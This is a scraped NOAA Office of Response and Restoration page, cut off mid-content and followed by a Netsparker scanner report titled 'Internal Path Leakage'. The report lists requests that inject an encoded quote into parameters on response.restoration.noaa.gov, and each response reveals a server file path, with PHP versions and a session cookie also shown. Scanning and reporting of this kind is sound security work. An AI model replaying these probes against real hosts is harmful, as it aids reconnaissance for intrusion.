</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cum..
[Possible] Internal Path Leakage (*nix)
[Possible] Internal Path Leakage (*nix)
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.
- Error messages should be disabled.
- Remove this kind of private data from the output.
External References
- /topic_subtopic.php
/topic_subtopic.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /topic_subtopic.php?RECORD_KEY%28subtopics%29=%2527&subtopic_id(subtopics)=25 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 339
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(subtopics)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /topic_catalog.php
/topic_catalog.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=%2527&topic_id(topics_chosen)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 343
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(topics_chosen)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /audience_subtopic_entry.php
/audience_subtopic_entry.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php
Request
GET /audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 335
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b><br />
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php
Request
GET /dwh.php?entry_id=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 290
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>25</b><br />
- /audience_catalog.php
/audience_catalog.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /audience_catalog.php?RECORD_KEY%28audience_chosen%29=%2527&audience_id(audience_chosen)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 344
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(audience_chosen)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /type_catalog.php
/type_catalog.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /type_catalog.php?RECORD_KEY%28type_chosen%29=%2527&type_id(type_chosen)=2 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 342
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(type_chosen)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /gallery_gallery.php
/gallery_gallery.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /gallery_gallery.php?RECORD_KEY%28gallery_index%29=%2527&joinphotogal_id(gallery_index)=212&gallery_id(gallery_index)=15&photo_id(gallery_index)=145 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 341
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(gallery_index)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /type_subtopic_entry.php
/type_subtopic_entry.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /type_subtopic_entry.php?RECORD_KEY%28entry_subtopic_type%29=%2527&entry_id(entry_subtopic_type)=328&subtopic_id(entry_subtopic_type)=24&type_id(entry_subtopic_type)=3 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 348
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(entry_subtopic_type)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /topic_subtopic_entry.php
/topic_subtopic_entry.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=%2527&entry_id(entry_subtopic_topic)=837&subtopic_id(entry_subtopic_topic)=2&topic_id(entry_subtopic_topic)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 347
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(entry_subtopic_topic)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /resource_resourcetopic.php
/resource_resourcetopic.php
|
/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php
Request
GET /resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=%2527&resourcetopic_id(resourcetopics)=95 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 344
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: "Undefined index: %27(resourcetopics)" on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>